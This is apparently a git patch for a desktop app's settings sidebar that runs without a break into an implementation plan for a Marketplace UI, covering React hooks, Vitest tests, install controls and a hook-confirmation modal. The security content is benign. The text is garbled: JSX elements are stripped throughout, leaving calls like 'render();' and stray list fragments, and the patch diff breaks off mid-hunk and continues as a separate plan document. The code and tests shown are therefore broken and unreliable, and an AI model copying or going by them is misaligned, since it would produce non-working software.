From ece0d74afbdd9710610e5cefaf51ec595bc1c020 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 06:41:43 -0700 Subject: [PATCH 01/45] Settings: let the shared-auth buttons wrap inside the sidebar Re-authenticate, Revoke and Check snapshot images are each nowrap and together wider than the settings sidebar, so the last one ran outside its container. Co-Authored-By: Claude Opus 5.5 --- .../components/settings/SharedAuthSettings.test.tsx | 11 +++++++++++ app/src/components/settings/SharedAuthSettings.tsx | 2 +- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/app/src/components/settings/SharedAuthSettings.test.tsx b/app/src/components/settings/SharedAuthSettings.test.tsx index d221894..dae02d7 100644 --- a/app/src/components/settings/SharedAuthSettings.test.tsx +++ b/app/src/components/settings/SharedAuthSettings.test.tsx @@ -140,6 +140,17 @@ describe("SharedAuthSettings", () => { await waitFor(() => expect(hasClaudeToken).toHaveBeenCalled()); }); + it("lets the action buttons wrap instead of running out of the sidebar", async () => { + // Re-authenticate, Revoke and Check snapshot images are each nowrap, and + // together they are wider than the settings sidebar. + projects = [running()]; + hasClaudeToken.mockResolvedValue(true); + render(); + + const sweep = await screen.findByTestId("shared-auth-sweep"); + expect(sweep.parentElement).toHaveClass("flex-wrap"); + }); + it("enables Authenticate once a container is running", async () => { projects = [running()]; render(); diff --git a/app/src/components/settings/SharedAuthSettings.tsx b/app/src/components/settings/SharedAuthSettings.tsx index 23a1d1c..f2c5f5b 100644 --- a/app/src/components/settings/SharedAuthSettings.tsx +++ b/app/src/components/settings/SharedAuthSettings.tsx @@ -283,7 +283,7 @@ export default function SharedAuthSettings() { )} -
+
+
+ ); + } +``` + +`app/src/hooks/useKeyboardShortcuts.ts`: change the import to `import { useAppState, isMarketplaceTab, isTerminalTab, tabKeyId } from "../store/appState";`, and replace the `else` branch of the Ctrl+Shift+W handler with: +```ts + } else if (isMarketplaceTab(key)) { + state.closeMarketplaceTab(); + } else { + state.closeHomeTab(tabKeyId(key)); + } +``` + +`app/src/components/layout/NotesDock.tsx`: behaviour is already right (for the Marketplace tab `projectId` stays `null`, so the dock shows its no-project state). Only replace the comment above `let projectId` with: +```ts + // Follow whatever is in front: a home tab is its own project, a terminal tab + // is the project it belongs to. The Marketplace tab belongs to no project. +``` + +Run: `cd app && npx vitest run src/components/layout/MainTabs.test.tsx src/hooks/useKeyboardShortcuts.test.tsx` +Expected: PASS. + +- [ ] **Step 12: Failing test for `useMarketplace`** + +`app/src/hooks/useMarketplace.test.ts`: + +```ts +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { act, renderHook, waitFor } from "@testing-library/react"; +import { useAppState } from "../store/appState"; +import type { AppSettings, MarketplaceSnapshot } from "../lib/types"; + +const listMarketplaceSnapshots = vi.fn(); +const refreshMarketplaces = vi.fn(); +const listMarketplaceUpdates = vi.fn(); +const getSettings = vi.fn(); +const listProjects = vi.fn(); +const installMarketplaceItem = vi.fn(); + +vi.mock("../lib/tauri-commands", () => ({ + listMarketplaceSnapshots: () => listMarketplaceSnapshots(), + refreshMarketplaces: (id?: string) => refreshMarketplaces(id), + listMarketplaceUpdates: () => listMarketplaceUpdates(), + getSettings: () => getSettings(), + listProjects: () => listProjects(), + installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a), +})); + +let syncHandler: ((e: { payload: unknown }) => void) | null = null; +vi.mock("@tauri-apps/api/event", () => ({ + listen: vi.fn(async (_name: string, cb: (e: { payload: unknown }) => void) => { + syncHandler = cb; + return vi.fn(); + }), +})); + +import { useMarketplace, useMarketplaceSyncToasts } from "./useMarketplace"; + +const snap = (id: string, fetched_at: string | null): MarketplaceSnapshot => ({ + marketplace_id: id, + head_commit: null, + fetched_at, + fetch_error: null, + items: [], +}); + +describe("useMarketplace", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ toasts: [], appSettings: { marketplaces: [] } as unknown as AppSettings }); + listMarketplaceUpdates.mockResolvedValue([]); + getSettings.mockResolvedValue({ marketplaces: [] }); + listProjects.mockResolvedValue([]); + }); + + it("loads snapshots and refreshes only stale ones", async () => { + const fresh = snap("m1", new Date().toISOString()); + const stale = snap("m2", null); + listMarketplaceSnapshots.mockResolvedValue([fresh, stale]); + refreshMarketplaces.mockResolvedValue([{ ...stale, fetched_at: new Date().toISOString() }]); + + const { result } = renderHook(() => useMarketplace()); + await act(() => result.current.load({ refreshStale: true })); + + expect(refreshMarketplaces).toHaveBeenCalledTimes(1); + expect(refreshMarketplaces).toHaveBeenCalledWith("m2"); + expect(result.current.snapshots.map((s) => s.marketplace_id)).toEqual(["m1", "m2"]); + expect(result.current.snapshots[1].fetched_at).not.toBeNull(); + }); + + it("toasts and reloads after a failed mutation", async () => { + listMarketplaceSnapshots.mockResolvedValue([]); + installMarketplaceItem.mockRejectedValue("boom"); + const { result } = renderHook(() => useMarketplace()); + const ok = await act(() => + result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }), + ); + expect(ok).toBe(false); + expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" }); + }); +}); + +describe("useMarketplaceSyncToasts", () => { + beforeEach(() => { + syncHandler = null; + useAppState.setState({ + toasts: [], + projects: [{ id: "p1", name: "api" }] as never, + }); + }); + + it("toasts a sync with errors and stays quiet on a clean one", async () => { + renderHook(() => useMarketplaceSyncToasts()); + await waitFor(() => expect(syncHandler).not.toBeNull()); + + act(() => + syncHandler!({ + payload: { + project_id: "p1", + report: { installed: ["agent:a"], updated: [], removed: [], skipped: [], errors: [], finished_at: "" }, + }, + }), + ); + expect(useAppState.getState().toasts).toHaveLength(0); + + act(() => + syncHandler!({ + payload: { + project_id: "p1", + report: { + installed: [], + updated: [], + removed: [], + skipped: [{ item: "agent:a", reason: "a file you created has the same name" }], + errors: ["claude plugin install failed"], + finished_at: "", + }, + }, + }), + ); + const toast = useAppState.getState().toasts[0]; + expect(toast.kind).toBe("error"); + expect(toast.message).toContain("api"); + expect(toast.detail).toContain("claude plugin install failed"); + expect(toast.detail).toContain("agent:a"); + }); +}); +``` + +Run: `cd app && npx vitest run src/hooks/useMarketplace.test.ts` +Expected: FAIL — `Failed to resolve import "./useMarketplace"`. + +- [ ] **Step 13: Implement `hooks/useMarketplace.ts`** + +```ts +import { useCallback, useEffect, useState } from "react"; +import { listen, type UnlistenFn } from "@tauri-apps/api/event"; +import * as commands from "../lib/tauri-commands"; +import { useAppState } from "../store/appState"; +import { isStale } from "../lib/marketplace"; +import type { + InstallScope, + ItemUpdate, + MarketplaceItemRef, + MarketplaceSnapshot, + SyncReport, +} from "../lib/types"; + +export interface MarketplaceApi { + snapshots: MarketplaceSnapshot[]; + updates: ItemUpdate[]; + loading: boolean; + /** Ids of marketplaces currently being fetched. */ + refreshing: string[]; + load: (opts?: { refreshStale?: boolean }) => Promise; + refresh: (marketplaceId?: string) => Promise; + /** Reload settings, projects and the update list after a mutation. */ + reloadState: () => Promise; + install: (item: MarketplaceItemRef, scope: InstallScope) => Promise; + uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise; + setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise; + update: (item: MarketplaceItemRef, scope: InstallScope) => Promise; + forget: (marketplaceId: string) => Promise; + remove: (marketplaceId: string) => Promise; +} + +function errorText(e: unknown): string { + return typeof e === "string" ? e : e instanceof Error ? e.message : String(e); +} + +export function useMarketplace(): MarketplaceApi { + const setAppSettings = useAppState((s) => s.setAppSettings); + const setProjects = useAppState((s) => s.setProjects); + const pushToast = useAppState((s) => s.pushToast); + const [snapshots, setSnapshots] = useState([]); + const [updates, setUpdates] = useState([]); + const [loading, setLoading] = useState(false); + const [refreshing, setRefreshing] = useState([]); + + const merge = useCallback((fresh: MarketplaceSnapshot[]) => { + setSnapshots((prev) => { + const byId = new Map(prev.map((s) => [s.marketplace_id, s])); + for (const s of fresh) byId.set(s.marketplace_id, s); + return [...byId.values()]; + }); + }, []); + + const loadUpdates = useCallback(async () => { + try { + setUpdates(await commands.listMarketplaceUpdates()); + } catch (e) { + console.error("Failed to list marketplace updates:", e); + } + }, []); + + const refresh = useCallback( + async (marketplaceId?: string) => { + const ids = marketplaceId ? [marketplaceId] : snapshots.map((s) => s.marketplace_id); + setRefreshing((r) => [...new Set([...r, ...ids])]); + try { + merge(await commands.refreshMarketplaces(marketplaceId)); + await loadUpdates(); + } catch (e) { + pushToast({ kind: "error", message: "Could not refresh the marketplace", detail: errorText(e) }); + } finally { + setRefreshing((r) => r.filter((id) => !ids.includes(id))); + } + }, + [snapshots, merge, loadUpdates, pushToast], + ); + + const load = useCallback( + async (opts: { refreshStale?: boolean } = {}) => { + setLoading(true); + try { + const list = await commands.listMarketplaceSnapshots(); + setSnapshots(list); + await loadUpdates(); + if (opts.refreshStale) { + const now = Date.now(); + const stale = list.filter((s) => isStale(s, now)).map((s) => s.marketplace_id); + if (stale.length > 0) { + setRefreshing(stale); + try { + // One call per marketplace so one slow or failing repo does not hold up the rest. + await Promise.all( + stale.map(async (id) => { + try { + merge(await commands.refreshMarketplaces(id)); + } finally { + setRefreshing((r) => r.filter((x) => x !== id)); + } + }), + ); + } finally { + await loadUpdates(); + } + } + } + } catch (e) { + pushToast({ kind: "error", message: "Could not load marketplaces", detail: errorText(e) }); + } finally { + setLoading(false); + } + }, + [merge, loadUpdates, pushToast], + ); + + const reloadState = useCallback(async () => { + const [settings, projects] = await Promise.all([commands.getSettings(), commands.listProjects()]); + setAppSettings(settings); + setProjects(projects); + await loadUpdates(); + }, [setAppSettings, setProjects, loadUpdates]); + + /** Run a mutation; on failure toast it. Always resync local state afterwards. */ + const mutate = useCallback( + async (label: string, run: () => Promise): Promise => { + let ok = true; + try { + await run(); + } catch (e) { + ok = false; + pushToast({ kind: "error", message: label, detail: errorText(e) }); + } + try { + await reloadState(); + } catch (e) { + console.error("Failed to reload after marketplace change:", e); + } + return ok; + }, + [reloadState, pushToast], + ); + + return { + snapshots, + updates, + loading, + refreshing, + load, + refresh, + reloadState, + install: (item, scope) => + mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope)), + uninstall: (item, scope) => + mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)), + setDisabled: (projectId, item, disabled) => + mutate(`Could not change ${item.key} for this project`, () => + commands.setGlobalItemDisabled(projectId, item, disabled), + ), + update: (item, scope) => + mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope)), + forget: (marketplaceId) => + mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)), + remove: async (marketplaceId) => { + const ok = await mutate("Could not remove the marketplace", () => + commands.removeMarketplace(marketplaceId), + ); + if (ok) setSnapshots((prev) => prev.filter((s) => s.marketplace_id !== marketplaceId)); + return ok; + }, + }; +} + +interface SyncFinishedEvent { + project_id: string; + report: SyncReport; +} + +/** + * App-wide: toast when a marketplace sync (container start or "Apply now") + * reports errors or skipped items. A clean sync is silent. + */ +export function useMarketplaceSyncToasts() { + useEffect(() => { + let cancelled = false; + let unlisten: UnlistenFn | null = null; + void listen("marketplace-sync-finished", (event) => { + const { project_id, report } = event.payload; + if (report.errors.length === 0 && report.skipped.length === 0) return; + const state = useAppState.getState(); + const name = state.projects.find((p) => p.id === project_id)?.name ?? project_id; + const lines = [ + ...report.errors, + ...report.skipped.map((s) => `${s.item}: ${s.reason}`), + ]; + state.pushToast({ + kind: report.errors.length > 0 ? "error" : "info", + message: `Marketplace sync for “${name}” ${report.errors.length > 0 ? "had errors" : "skipped items"}`, + detail: lines.join("\n"), + dedupeKey: `marketplace-sync-${project_id}`, + }); + }).then((fn) => { + if (cancelled) fn(); + else unlisten = fn; + }); + return () => { + cancelled = true; + unlisten?.(); + }; + }, []); +} +``` + +The store exposes `setProjects: (projects: Project[]) => void` (`store/appState.ts:119`) and `projects`. + +Run: `cd app && npx vitest run src/hooks/useMarketplace.test.ts` +Expected: PASS. + +- [ ] **Step 14: Failing tests for the settings section and the view shell** + +`app/src/components/settings/MarketplaceSettings.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; +import MarketplaceSettings from "./MarketplaceSettings"; +import { useAppState, MARKETPLACE_TAB_KEY } from "../../store/appState"; +import type { AppSettings } from "../../lib/types"; + +const listMarketplaceUpdates = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + listMarketplaceUpdates: () => listMarketplaceUpdates(), +})); + +describe("MarketplaceSettings", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ + tabOrder: [], + activeTabKey: null, + appSettings: { + marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }], + global_marketplace_installs: [ + { marketplace_id: "m1", kind: "agent", key: "a", commit: "a".repeat(40) }, + { marketplace_id: "m1", kind: "hook", key: "h", commit: "a".repeat(40) }, + ], + marketplace_accounts: [], + } as unknown as AppSettings, + }); + listMarketplaceUpdates.mockResolvedValue([ + { item: { marketplace_id: "m1", kind: "agent", key: "a" }, pinned: "a".repeat(40), head: "b".repeat(40) }, + ]); + }); + + it("summarises and opens the Marketplace tab", async () => { + render(); + expect(screen.getByTestId("marketplace-summary")).toHaveTextContent("1 marketplace"); + expect(screen.getByTestId("marketplace-summary")).toHaveTextContent("2 installed for all projects"); + await waitFor(() => + expect(screen.getByTestId("marketplace-summary")).toHaveTextContent("1 update available"), + ); + fireEvent.click(screen.getByRole("button", { name: "Open Marketplace" })); + expect(useAppState.getState().activeTabKey).toBe(MARKETPLACE_TAB_KEY); + }); +}); +``` + +`app/src/components/marketplace/MarketplaceView.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; + +const load = vi.fn(async () => {}); +vi.mock("../../hooks/useMarketplace", () => ({ + useMarketplace: () => ({ + snapshots: [], + updates: [], + loading: false, + refreshing: [], + load, + refresh: vi.fn(), + reloadState: vi.fn(), + install: vi.fn(), + uninstall: vi.fn(), + setDisabled: vi.fn(), + update: vi.fn(), + forget: vi.fn(), + remove: vi.fn(), + }), +})); +vi.mock("./BrowsePane", () => ({ default: () =>
browse pane
})); +vi.mock("./InstalledPane", () => ({ default: () =>
installed pane
})); +vi.mock("./AccountsPane", () => ({ default: () =>
accounts pane
})); + +import MarketplaceView from "./MarketplaceView"; + +describe("MarketplaceView", () => { + beforeEach(() => vi.clearAllMocks()); + + it("loads with stale refresh when first shown and switches sub-tabs", async () => { + render(); + await waitFor(() => expect(load).toHaveBeenCalledWith({ refreshStale: true })); + expect(screen.getByText("browse pane")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("tab", { name: "Installed" })); + expect(screen.getByText("installed pane")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("tab", { name: "Accounts" })); + expect(screen.getByText("accounts pane")).toBeInTheDocument(); + }); + + it("does not load while hidden", () => { + render(); + expect(load).not.toHaveBeenCalled(); + }); +}); +``` + +Run: `cd app && npx vitest run src/components/settings/MarketplaceSettings.test.tsx src/components/marketplace/MarketplaceView.test.tsx` +Expected: FAIL — modules not found. + +- [ ] **Step 15: Implement the settings section** + +`app/src/components/settings/MarketplaceSettings.tsx`: + +```tsx +import { useEffect, useState } from "react"; +import { useAppState } from "../../store/appState"; +import { listMarketplaceUpdates } from "../../lib/tauri-commands"; +import Button from "../ui/Button"; + +const plural = (n: number, one: string, many: string) => `${n} ${n === 1 ? one : many}`; + +export default function MarketplaceSettings() { + const appSettings = useAppState((s) => s.appSettings); + const openMarketplace = useAppState((s) => s.openMarketplace); + const [updateCount, setUpdateCount] = useState(null); + + useEffect(() => { + let cancelled = false; + listMarketplaceUpdates() + .then((u) => { + if (!cancelled) setUpdateCount(u.length); + }) + .catch(() => { + if (!cancelled) setUpdateCount(null); + }); + return () => { + cancelled = true; + }; + }, [appSettings?.marketplaces.length]); + + const marketplaces = appSettings?.marketplaces.length ?? 0; + const globalInstalls = appSettings?.global_marketplace_installs.length ?? 0; + + return ( +
+

+ {plural(marketplaces, "marketplace", "marketplaces")} ·{" "} + {globalInstalls} installed for all projects + {updateCount !== null && updateCount > 0 && ( + <> · {plural(updateCount, "update available", "updates available")} + )} +

+

+ Agents, skills, commands, hooks and plugins from git repositories, installed for all + projects or per project. Changes apply to new Claude sessions. +

+ +
+ ); +} +``` + +In `app/src/components/settings/SettingsPanel.tsx` add `import MarketplaceSettings from "./MarketplaceSettings";` next to the `SharedAuthSettings` import, and directly after the `claude-auth` `AccordionSection` (lines 170-172) add: + +```tsx + + + +``` + +- [ ] **Step 16: Implement the view shell and wire it into `App.tsx`** + +`app/src/components/marketplace/MarketplaceView.tsx`: + +```tsx +import { useEffect, useRef, useState } from "react"; +import { useMarketplace } from "../../hooks/useMarketplace"; +import BrowsePane from "./BrowsePane"; +import InstalledPane from "./InstalledPane"; +import AccountsPane from "./AccountsPane"; + +const SUB_TABS = [ + { id: "browse", label: "Browse" }, + { id: "installed", label: "Installed" }, + { id: "accounts", label: "Accounts" }, +] as const; + +export type MarketplaceSubTab = (typeof SUB_TABS)[number]["id"]; + +interface Props { + active: boolean; +} + +export default function MarketplaceView({ active }: Props) { + const mp = useMarketplace(); + const [tab, setTab] = useState("browse"); + const { load } = mp; + const wasActive = useRef(false); + + // Load (and refresh stale marketplaces) each time the tab comes to the front. + useEffect(() => { + if (active && !wasActive.current) void load({ refreshStale: true }); + wasActive.current = active; + }, [active, load]); + + return ( +
+
+ {SUB_TABS.map((t) => ( + + ))} +
+
+ {tab === "browse" && } + {tab === "installed" && } + {tab === "accounts" && } +
+
+ ); +} +``` + +Create the three panes with minimal real content now; Tasks 13, 14 and 15 replace each file completely. + +`app/src/components/marketplace/BrowsePane.tsx`: + +```tsx +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { + return ( +

+ {mp.snapshots.length} marketplace{mp.snapshots.length === 1 ? "" : "s"} configured. +

+ ); +} +``` + +`app/src/components/marketplace/InstalledPane.tsx`: + +```tsx +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +export default function InstalledPane({ mp }: { mp: MarketplaceApi }) { + return ( +

+ {mp.updates.length} update{mp.updates.length === 1 ? "" : "s"} available. +

+ ); +} +``` + +`app/src/components/marketplace/AccountsPane.tsx`: + +```tsx +import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import { useAppState } from "../../store/appState"; + +export default function AccountsPane(_props: { mp: MarketplaceApi }) { + const count = useAppState((s) => s.appSettings?.marketplace_accounts.length ?? 0); + return ( +

+ {count} account{count === 1 ? "" : "s"}. +

+ ); +} +``` + +`app/src/App.tsx`: +1. Change the store import (line 24) to `import { useAppState, isHomeTab, tabKeyId, homeTabKey, MARKETPLACE_TAB_KEY } from "./store/appState";`. +2. Add imports: `import MarketplaceView from "./components/marketplace/MarketplaceView";` and `import { useMarketplaceSyncToasts } from "./hooks/useMarketplace";`. +3. In the `App` component body next to the other hook calls (e.g. after `useKeyboardShortcuts()`), add `useMarketplaceSyncToasts();`. +4. Inside `
`, after the `sessions.map(...)` block, add: + +```tsx + {tabOrder.includes(MARKETPLACE_TAB_KEY) && ( + + + + )} +``` + +- [ ] **Step 17: Run the new and neighbouring tests** + +Run: `cd app && npx vitest run src/components/settings src/components/marketplace src/components/layout src/hooks src/store src/lib src/test/capabilities.test.ts` +Expected: PASS. `capabilities.test.ts` passes only once Task 11 has added the `allow-*` grants for every new wrapper; if Task 11 is not merged yet, this test fails listing the new wrappers, which is expected at this point and must pass before committing Task 17. + +- [ ] **Step 18: Type-check and commit** + +Run: `cd app && npx tsc --noEmit -p .` +Expected: no errors. + +```bash +cd /workspace/triple-c && git add app/src && git commit -qm "Marketplace UI plumbing: wrappers, singleton tab, settings section, view shell + +Co-Authored-By: Claude Opus 5.5 " +``` + +--- + +### Task 13: Browse — marketplace list, item detail, install controls, hook confirm, add marketplace + +**Files:** +- Replace: `app/src/components/marketplace/BrowsePane.tsx` +- Create: `app/src/components/marketplace/ItemDetail.tsx` +- Create: `app/src/components/marketplace/InstallControls.tsx` +- Create: `app/src/components/marketplace/HookConfirmModal.tsx` +- Create: `app/src/components/marketplace/AddMarketplaceModal.tsx` +- Test: `app/src/components/marketplace/BrowsePane.test.tsx`, `InstallControls.test.tsx`, `AddMarketplaceModal.test.tsx` + +**Interfaces:** +- Consumes: `MarketplaceApi` (Task 12), `projectItemState`, `KIND_LABELS`, `KIND_ORDER`, `itemRefKey` (Task 12), `addMarketplace` wrapper, store `appSettings`, `projects`, `marketplaceFilterProjectId`, `setMarketplaceFilterProjectId`. +- Produces: `BrowsePane({ mp })` default export (same props as the Task 12 stub); `InstallControls({ mp, item, marketplaceId })`; `HookConfirmModal({ item, onConfirm, onCancel })`; `AddMarketplaceModal({ onClose, onAdded })`. + +- [ ] **Step 1: Failing test for InstallControls** + +`app/src/components/marketplace/InstallControls.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, within } from "@testing-library/react"; +import InstallControls from "./InstallControls"; +import { useAppState } from "../../store/appState"; +import type { AppSettings, CatalogItem, Project } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +const C = "c".repeat(40); + +function api(): MarketplaceApi { + return { + snapshots: [], + updates: [], + loading: false, + refreshing: [], + load: vi.fn(), + refresh: vi.fn(), + reloadState: vi.fn(), + install: vi.fn(async () => true), + uninstall: vi.fn(async () => true), + setDisabled: vi.fn(async () => true), + update: vi.fn(), + forget: vi.fn(), + remove: vi.fn(), + }; +} + +const item = (kind: CatalogItem["kind"], patch: Partial = {}): CatalogItem => ({ + kind, + key: "rev", + name: "rev", + description: "", + path: `agents/rev.md`, + invalid: null, + hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [], + preview: "", + ...patch, +}); + +const project = (id: string, patch: Partial = {}) => + ({ id, name: `proj-${id}`, marketplace_installs: [], marketplace_disabled: [], ...patch }) as unknown as Project; + +function seed(globalInstalls: AppSettings["global_marketplace_installs"], projects: Project[]) { + useAppState.setState({ + appSettings: { global_marketplace_installs: globalInstalls, marketplaces: [], marketplace_accounts: [] } as unknown as AppSettings, + projects, + marketplaceFilterProjectId: null, + }); +} + +const ref = { marketplace_id: "m1", kind: "agent" as const, key: "rev" }; + +describe("InstallControls", () => { + beforeEach(() => seed([], [project("p1"), project("p2")])); + + it("installs for all projects", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("switch", { name: "All projects" })); + expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }); + }); + + it("installs for one project", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ })); + expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }); + }); + + it("opts a project out of a global install and back in", () => { + const mp = api(); + seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]); + render(); + const row1 = screen.getByTestId("install-row-p1"); + expect(within(row1).getByText("Inherited")).toBeInTheDocument(); + fireEvent.click(within(row1).getByRole("checkbox")); + expect(mp.setDisabled).toHaveBeenCalledWith("p1", ref, true); + const row2 = screen.getByTestId("install-row-p2"); + expect(within(row2).getByText("Opted out")).toBeInTheDocument(); + fireEvent.click(within(row2).getByRole("checkbox")); + expect(mp.setDisabled).toHaveBeenCalledWith("p2", ref, false); + }); + + it("removes a project-only install", () => { + const mp = api(); + seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]); + render(); + fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ })); + expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" }); + }); + + it("requires confirmation before installing a hook", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("switch", { name: "All projects" })); + expect(mp.install).not.toHaveBeenCalled(); + expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Install hook" })); + expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }); + }); + + it("disables everything for an invalid item", () => { + render(); + expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled(); + expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled(); + }); + + it("shows only the filtered project when a filter is set", () => { + useAppState.setState({ marketplaceFilterProjectId: "p2" }); + render(); + expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument(); + expect(screen.getByTestId("install-row-p2")).toBeInTheDocument(); + }); +}); +``` + +`Toggle` renders `role="switch"` with `aria-label={label}` and `aria-checked` (`components/ui/Toggle.tsx:31-33`), so it is queried as a switch. + +Run: `cd app && npx vitest run src/components/marketplace/InstallControls.test.tsx` +Expected: FAIL — module not found. + +- [ ] **Step 2: Implement HookConfirmModal and InstallControls** + +`app/src/components/marketplace/HookConfirmModal.tsx`: + +```tsx +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import type { CatalogItem } from "../../lib/types"; + +interface Props { + item: CatalogItem; + onConfirm: () => void; + onCancel: () => void; +} + +/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */ +export default function HookConfirmModal({ item, onConfirm, onCancel }: Props) { + return ( + + + + + } + > + {item.hook_commands.length === 0 ? ( +

This hook declares no commands.

+ ) : ( +
    + {item.hook_commands.map((c) => ( +
  • + + {c} + +
    • + ))} +
+ )} + + ); +} +``` + +`app/src/components/marketplace/InstallControls.tsx`: + +```tsx +import { useState } from "react"; +import { useAppState } from "../../store/appState"; +import { projectItemState, type ProjectItemState } from "../../lib/marketplace"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types"; +import Toggle from "../ui/Toggle"; +import HookConfirmModal from "./HookConfirmModal"; + +const STATE_LABEL: Record = { + none: "", + inherited: "Inherited", + opted_out: "Opted out", + project: "This project", + project_pinned_differently: "Pinned to a different commit", +}; + +interface Props { + mp: MarketplaceApi; + item: CatalogItem; + marketplaceId: string; +} + +export default function InstallControls({ mp, item, marketplaceId }: Props) { + const appSettings = useAppState((s) => s.appSettings); + const projects = useAppState((s) => s.projects); + const filterId = useAppState((s) => s.marketplaceFilterProjectId); + const [pendingHook, setPendingHook] = useState(null); + const [busy, setBusy] = useState(false); + + const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key }; + const globalInstalls = appSettings?.global_marketplace_installs ?? []; + const isGlobal = globalInstalls.some( + (g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key, + ); + const disabled = item.invalid !== null || busy; + const shown = filterId ? projects.filter((p) => p.id === filterId) : projects; + + const run = async (fn: () => Promise) => { + setBusy(true); + try { + await fn(); + } finally { + setBusy(false); + } + }; + + /** Every install goes through here so a hook is always confirmed first. */ + const install = (scope: InstallScope) => { + if (item.kind === "hook") { + setPendingHook(scope); + return; + } + void run(() => mp.install(ref, scope)); + }; + + const toggleProject = (projectId: string, state: ProjectItemState) => { + const scope: InstallScope = { type: "project", project_id: projectId }; + switch (state) { + case "none": + install(scope); + break; + case "inherited": + void run(() => mp.setDisabled(projectId, ref, true)); + break; + case "opted_out": + void run(() => mp.setDisabled(projectId, ref, false)); + break; + case "project": + case "project_pinned_differently": + void run(() => mp.uninstall(ref, scope)); + break; + } + }; + + return ( +
+ (v ? install({ type: "global" }) : void run(() => mp.uninstall(ref, { type: "global" })))} + /> +
    + {shown.map((p) => { + const state = projectItemState(ref, globalInstalls, p); + const checked = state === "inherited" || state === "project" || state === "project_pinned_differently"; + return ( +
  • + + {STATE_LABEL[state] && ( + {STATE_LABEL[state]} + )} +
    • + ); + })} +
+ {projects.length === 0 && ( +

No projects yet — “All projects” also covers projects added later.

+ )} + {pendingHook && ( + setPendingHook(null)} + onConfirm={() => { + const scope = pendingHook; + setPendingHook(null); + void run(() => mp.install(ref, scope)); + }} + /> + )} +
+ ); +} +``` + +Run: `cd app && npx vitest run src/components/marketplace/InstallControls.test.tsx` +Expected: PASS. + +- [ ] **Step 3: Failing tests for AddMarketplaceModal and BrowsePane** + +`app/src/components/marketplace/AddMarketplaceModal.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { AppSettings } from "../../lib/types"; + +const addMarketplace = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + addMarketplace: (...a: unknown[]) => addMarketplace(...a), +})); + +import AddMarketplaceModal from "./AddMarketplaceModal"; + +describe("AddMarketplaceModal", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ + appSettings: { + marketplace_accounts: [{ id: "acc1", label: "Work", host: "github.com", method: "token", username: "me" }], + marketplaces: [], + global_marketplace_installs: [], + } as unknown as AppSettings, + }); + }); + + it("submits name, url, branch and account", async () => { + const onAdded = vi.fn(); + addMarketplace.mockResolvedValue({ marketplace_id: "m1", head_commit: null, fetched_at: null, fetch_error: null, items: [] }); + render(); + fireEvent.change(screen.getByLabelText("Name"), { target: { value: "Starter" } }); + fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/shadowdao/triple-c-marketplace.git" } }); + fireEvent.change(screen.getByLabelText("Branch"), { target: { value: "" } }); + fireEvent.change(screen.getByLabelText("Account"), { target: { value: "acc1" } }); + fireEvent.click(screen.getByRole("button", { name: "Add marketplace" })); + await waitFor(() => expect(onAdded).toHaveBeenCalled()); + expect(addMarketplace).toHaveBeenCalledWith("Starter", 